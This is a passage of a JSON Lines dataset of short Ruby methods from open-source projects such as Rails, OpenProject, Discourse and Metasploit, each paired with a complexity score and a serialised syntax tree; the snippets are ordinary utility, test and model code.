:\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"runtimes\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]},{\"type\":\"int\",\"children\":[0]}]}]},\">\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ex\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"run_time\"]}]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"runtimes\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ex\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ex\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"run_time\"]}]}]}]}]}]}]}]}","id":"98ef50dd-c58b-4206-92ff-7cba2340b646"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/mutations/integrations/exclusions/create.rb","start_line":56,"raw_source":"def groups(group_ids)\n          return [] unless group_ids.present?\n\n          Group.id_in(resolve_ids(group_ids)).limit(MAX_GROUP_IDS)\n        end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"groups\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group_ids\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group_ids\"]},\"present?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Group\"]},\"id_in\",{\"type\":\"send\",\"children\":[null,\"resolve_ids\",{\"type\":\"lvar\",\"children\":[\"group_ids\"]}]}]},\"limit\",{\"type\":\"const\",\"children\":[null,\"MAX_GROUP_IDS\"]}]}]}]}","id":"a10ef731-2cdc-4585-8c37-fb19f09900d2"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/invertible_migration_test.rb","start_line":526,"raw_source":"def test_migrate_revert_add_index_with_name\n        RevertNamedIndexMigration1.new.migrate(:up)\n        RevertNamedIndexMigration2.new.migrate(:up)\n        RevertNamedIndexMigration2.new.migrate(:down)\n\n        connection = ActiveRecord::Base.lease_connection\n        assert connection.index_exists?(:horses, :content),\n               \"index on content should exist\"\n        assert_not connection.index_exists?(:horses, :content, name: \"horses_index_named\"),\n              \"horses_index_named index should not exist\"\n      end","complexity_score":13.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_migrate_revert_add_index_with_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RevertNamedIndexMigration1\"]},\"new\"]},\"migrate\",{\"type\":\"sym\",\"children\":[\"up\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RevertNamedIndexMigration2\"]},\"new\"]},\"migrate\",{\"type\":\"sym\",\"children\":[\"up\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RevertNamedIndexMigration2\"]},\"new\"]},\"migrate\",{\"type\":\"sym\",\"children\":[\"down\"]}]},{\"type\":\"lvasgn\",\"children\":[\"connection\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"lease_connection\"]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connection\"]},\"index_exists?\",{\"type\":\"sym\",\"children\":[\"horses\"]},{\"type\":\"sym\",\"children\":[\"content\"]}]},{\"type\":\"str\",\"children\":[\"index on content should exist\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connection\"]},\"index_exists?\",{\"type\":\"sym\",\"children\":[\"horses\"]},{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"horses_index_named\"]}]}]}]},{\"type\":\"str\",\"children\":[\"horses_index_named index should not exist\"]}]}]}]}","id":"53012a6d-cbaa-4b82-a010-0317f439eaf4"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/utils/pdf_to_images.rb","start_line":17,"raw_source":"def uploaded_pages\n    @uploaded_pages ||= extract_pages\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"uploaded_pages\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@uploaded_pages\"]},{\"type\":\"send\",\"children\":[null,\"extract_pages\"]}]}]}","id":"81dd24c0-aefe-4332-8010-3176785c3c8a"}
{"repo_name":"liquid","file_path":"./repos/liquid/lib/liquid/standardfilters.rb","start_line":236,"raw_source":"def truncate(input, length = 50, truncate_string = \"...\")\n      return if input.nil?\n      input_str = Utils.to_s(input)\n      length    = Utils.to_integer(length)\n\n      truncate_string_str = Utils.to_s(truncate_string)\n\n      l = length - truncate_string_str.length\n      l = 0 if l < 0\n\n      input_str.length > length ? input_str[0...l].concat(truncate_string_str) : input_str\n    end","complexity_score":22.15,"ast_json":"{\"type\":\"def\",\"children\":[\"truncate\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"input\"]},{\"type\":\"optarg\",\"children\":[\"length\",{\"type\":\"int\",\"children\":[50]}]},{\"type\":\"optarg\",\"children\":[\"truncate_string\",{\"type\":\"str\",\"children\":[\"...\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"input\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"input_str\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Utils\"]},\"to_s\",{\"type\":\"lvar\",\"children\":[\"input\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"length\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Utils\"]},\"to_integer\",{\"type\":\"lvar\",\"children\":[\"length\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"truncate_string_str\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Utils\"]},\"to_s\",{\"type\":\"lvar\",\"children\":[\"truncate_string\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"l\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"length\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"truncate_string_str\"]},\"length\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"l\"]},\"<\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"l\",{\"type\":\"int\",\"children\":[0]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"input_str\"]},\"length\"]},\">\",{\"type\":\"lvar\",\"children\":[\"length\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"input_str\"]},\"[]\",{\"type\":\"erange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"lvar\",\"children\":[\"l\"]}]}]},\"concat\",{\"type\":\"lvar\",\"children\":[\"truncate_string_str\"]}]},{\"type\":\"lvar\",\"children\":[\"input_str\"]}]}]}]}","id":"c3741f3a-cb7d-47ad-b55c-733cdfe97b3d"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/gitlab_integration/lib/open_project/gitlab_integration/notification_handler/system_hook.rb","start_line":37,"raw_source":"def process(payload_params) # rubocop:disable Metrics/AbcSize\n        @payload = wrap_payload(payload_params)\n        return nil unless payload.object_kind == \"push\"\n\n        payload.commits.each do |commit|\n          user = User.find_by_id(payload.open_project_user_id)\n          text = [commit[\"title\"], commit[\"message\"]]\n            .select(&:present?)\n            .join(\" - \")\n          work_packages = find_mentioned_work_packages(text, user)\n          notes = generate_notes(commit, payload)\n          comment_on_referenced_work_packages(work_packages, user, notes)\n        end\n      end","complexity_score":32.6,"ast_json":"{\"type\":\"def\",\"children\":[\"process\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"payload_params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@payload\",{\"type\":\"send\",\"children\":[null,\"wrap_payload\",{\"type\":\"lvar\",\"children\":[\"payload_params\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"object_kind\"]},\"==\",{\"type\":\"str\",\"children\":[\"push\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"commits\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"commit\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"find_by_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"open_project_user_id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"text\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commit\"]},\"[]\",{\"type\":\"str\",\"children\":[\"title\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commit\"]},\"[]\",{\"type\":\"str\",\"children\":[\"message\"]}]}]},\"select\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"present?\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\" - \"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"work_packages\",{\"type\":\"send\",\"children\":[null,\"find_mentioned_work_packages\",{\"type\":\"lvar\",\"children\":[\"text\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"notes\",{\"type\":\"send\",\"children\":[null,\"generate_notes\",{\"type\":\"lvar\",\"children\":[\"commit\"]},{\"type\":\"send\",\"children\":[null,\"payload\"]}]}]},{\"type\":\"send\",\"children\":[null,\"comment_on_referenced_work_packages\",{\"type\":\"lvar\",\"children\":[\"work_packages\"]},{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"notes\"]}]}]}]}]}]}","id":"f73f929b-28e1-44e7-b7a0-e35b3651af38"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/drda/packet.rb","start_line":21,"raw_source":"def to_s\n    self.to_a.pack(\"nna*\")\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"to_s\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"to_a\"]},\"pack\",{\"type\":\"str\",\"children\":[\"nna*\"]}]}]}","id":"66199471-f8bf-48ce-a24c-9aa95d410171"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/work_packages/schedule_dependency/dependency.rb","start_line":56,"raw_source":"def soonest_start_date\n    @soonest_start_date ||=\n      follows_relations\n        .filter_map(&:successor_soonest_start)\n        .max\n        .then { days.soonest_working_day(it) }\n  end","complexity_score":12.5,"ast_json":"{\"type\":\"def\",\"children\":[\"soonest_start_date\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@soonest_start_date\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"follows_relations\"]},\"filter_map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"successor_soonest_start\"]}]}]},\"max\"]},\"then\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"days\"]},\"soonest_working_day\",{\"type\":\"send\",\"children\":[null,\"it\"]}]}]}]}]}","id":"9066c288-a488-41de-ae62-38392d752522"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/ldap/import_users_from_list_service.rb","start_line":61,"raw_source":"def existing_users\n      User.where(\"LOWER(login) in (?)\", logins.map(&:downcase)).pluck(:login)\n    end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"existing_users\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"where\",{\"type\":\"str\",\"children\":[\"LOWER(login) in (?)\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logins\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"downcase\"]}]}]}]},\"pluck\",{\"type\":\"sym\",\"children\":[\"login\"]}]}]}","id":"def134f9-e90f-42ee-9941-ad079ef5f2b9"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/components/datepicker/datepicker.rb","start_line":131,"raw_source":"def expect_save_button_disabled\n      expect(container).to have_button(save_button_label, disabled: true)\n    end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_save_button_disabled\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"container\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_button\",{\"type\":\"send\",\"children\":[null,\"save_button_label\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"disabled\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"c9e96dc5-f083-42c5-9964-e773098b3e85"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/ui/debug.rb","start_line":366,"raw_source":"def add_hash_to_ini_group(ini, hash, group_name)\n          if hash.empty?\n            return\n          end\n\n          unless ini.group?(group_name)\n            ini.add_group(group_name)\n          end\n\n          hash.each_pair do |k, v|\n            ini[group_name][k] = v\n          end\n        end","complexity_score":9.3,"ast_json":"{\"type\":\"def\",\"children\":[\"add_hash_to_ini_group\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ini\"]},{\"type\":\"arg\",\"children\":[\"hash\"]},{\"type\":\"arg\",\"children\":[\"group_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ini\"]},\"group?\",{\"type\":\"lvar\",\"children\":[\"group_name\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ini\"]},\"add_group\",{\"type\":\"lvar\",\"children\":[\"group_name\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"each_pair\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ini\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"group_name\"]}]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"k\"]},{\"type\":\"lvar\",\"children\":[\"v\"]}]}]}]}]}","id":"36cc803e-5eb9-4dc3-92b8-d44ff106210c"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_worker.rb","start_line":575,"raw_source":"def self.minimal_class_name\n    abbreviated_class_name\n      .sub(\"Miq\", \"\")\n      .sub(\"Worker\", \"\")\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"minimal_class_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"abbreviated_class_name\"]},\"sub\",{\"type\":\"str\",\"children\":[\"Miq\"]},{\"type\":\"str\",\"children\":[\"\"]}]},\"sub\",{\"type\":\"str\",\"children\":[\"Worker\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}","id":"ed1b9b33-ddca-4b6f-ab0a-da9ae76e9b46"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/attachment_batch.rb","start_line":45,"raw_source":"def batch\n    klass.where(id: records.map(&:id))\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"batch\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"klass\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"records\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}]}]}","id":"2faf6b19-9358-4139-b69d-c8e096639ab0"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/form_helper_test.rb","start_line":1239,"raw_source":"def test_time_field_with_value_attr\n    expected = %{<input id=\"post_written_on\" name=\"post[written_on]\" type=\"time\" value=\"01:02:03.000\" />}\n    value = DateTime.new(2004, 6, 15, 1, 2, 3)\n    assert_dom_equal(expected, time_field(\"post\", \"written_on\", value: value))\n  end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_time_field_with_value_attr\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"str\",\"children\":[\"<input id=\\\"post_written_on\\\" name=\\\"post[written_on]\\\" type=\\\"time\\\" value=\\\"01:02:03.000\\\" />\"]}]},{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTime\"]},\"new\",{\"type\":\"int\",\"children\":[2004]},{\"type\":\"int\",\"children\":[6]},{\"type\":\"int\",\"children\":[15]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[3]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"send\",\"children\":[null,\"time_field\",{\"type\":\"str\",\"children\":[\"post\"]},{\"type\":\"str\",\"children\":[\"written_on\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}]}]}]}","id":"3f14707b-f6eb-4956-9684-a4e7e9eaaed7"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/aggregations_test.rb","start_line":146,"raw_source":"def test_assigning_hash_to_custom_converter\n    customers(:barney).fullname = { first: \"Barney\", last: \"Stinson\" }\n    assert_equal \"Barney STINSON\", customers(:barney).name\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_assigning_hash_to_custom_converter\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"customers\",{\"type\":\"sym\",\"children\":[\"barney\"]}]},\"fullname=\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"first\"]},{\"type\":\"str\",\"children\":[\"Barney\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"last\"]},{\"type\":\"str\",\"children\":[\"Stinson\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Barney STINSON\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"customers\",{\"type\":\"sym\",\"children\":[\"barney\"]}]},\"name\"]}]}]}]}","id":"63b84008-253f-4877-be87-00ae8d159b51"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/theme.rb","start_line":906,"raw_source":"def with_scss_load_paths\n    ThemeStore::ZipExporter\n      .new(self)\n      .with_export_dir(scss_only: true) do |dir|\n        FileUtils.mkdir_p(\"#{dir}/_entry_loadpath/theme-entrypoint\")\n\n        entrypoints = {\n          \"common/common.scss\" => \"common.scss\",\n          \"common/embedded.scss\" => \"embedded.scss\",\n          \"common/color_definitions.scss\" => \"color_definitions.scss\",\n          \"desktop/desktop.scss\" => \"desktop.scss\",\n          \"mobile/mobile.scss\" => \"mobile.scss\",\n        }\n\n        entrypoints.each do |source, destination|\n          source_path = \"#{dir}/#{source}\"\n          destination_path = \"#{dir}/_entry_loadpath/theme-entrypoint/#{destination}\"\n          FileUtils.mv(source_path, destination_path) if File.exist?(source_path)\n        end\n\n        yield [\"#{dir}/_entry_loadpath\", \"#{dir}/stylesheets\"]\n      end\n  end","complexity_score":16.3,"ast_json":"{\"type\":\"def\",\"children\":[\"with_scss_load_paths\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ThemeStore\"]},\"ZipExporter\"]},\"new\",{\"type\":\"self\",\"children\":[]}]},\"with_export_dir\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scss_only\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"dir\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"mkdir_p\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dir\"]}]},{\"type\":\"str\",\"children\":[\"/_entry_loadpath/theme-entrypoint\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"entrypoints\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"common/common.scss\"]},{\"type\":\"str\",\"children\":[\"common.scss\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"common/embedded.scss\"]},{\"type\":\"str\",\"children\":[\"embedded.scss\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"common/color_definitions.scss\"]},{\"type\":\"str\",\"children\":[\"color_definitions.scss\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"desktop/desktop.scss\"]},{\"type\":\"str\",\"children\":[\"desktop.scss\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"mobile/mobile.scss\"]},{\"type\":\"str\",\"children\":[\"mobile.scss\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entrypoints\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"source\"]},{\"type\":\"arg\",\"children\":[\"destination\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"source_path\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dir\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"destination_path\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dir\"]}]},{\"type\":\"str\",\"children\":[\"/_entry_loadpath/theme-entrypoint/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"destination\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"lvar\",\"children\":[\"source_path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"mv\",{\"type\":\"lvar\",\"children\":[\"source_path\"]},{\"type\":\"lvar\",\"children\":[\"destination_path\"]}]},null]}]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dir\"]}]},{\"type\":\"str\",\"children\":[\"/_entry_loadpath\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dir\"]}]},{\"type\":\"str\",\"children\":[\"/stylesheets\"]}]}]}]}]}]}]}","id":"7235215c-b6d6-42a4-a64f-4d7854853b3e"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/pages/groups.rb","start_line":107,"raw_source":"def remove_from_project!(name)\n      open_projects_tab!\n      SeleniumHubWaiter.wait\n      find_project(name).find(\"a[data-turbo-method=delete]\").click\n    end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_from_project!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"open_projects_tab!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SeleniumHubWaiter\"]},\"wait\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find_project\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},\"find\",{\"type\":\"str\",\"children\":[\"a[data-turbo-method=delete]\"]}]},\"click\"]}]}]}","id":"717bad34-e9b4-422b-9c49-9fcc75bb4808"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/generated_attribute_test.rb","start_line":247,"raw_source":"def test_generated_attribute_to_s_with_limit\n    att = Rails::Generators::GeneratedAttribute.parse(\"name:text{140}\")\n    assert_equal \"name:text{140}\", att.to_s\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_generated_attribute_to_s_with_limit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"att\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"Generators\"]},\"GeneratedAttribute\"]},\"parse\",{\"type\":\"str\",\"children\":[\"name:text{140}\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"name:text{140}\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"att\"]},\"to_s\"]}]}]}]}","id":"72a7d01d-ec9b-4b6d-b87f-8a26fb4615d4"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/numeric_predicate.rb","start_line":142,"raw_source":"def require_parentheses?(node)\n          node.send_type? && node.binary_operation? && !node.parenthesized?\n        end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"require_parentheses?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"send_type?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"binary_operation?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"parenthesized?\"]},\"!\"]}]}]}","id":"f98558e7-bf34-4e4b-83c1-56a6e824f0ee"}
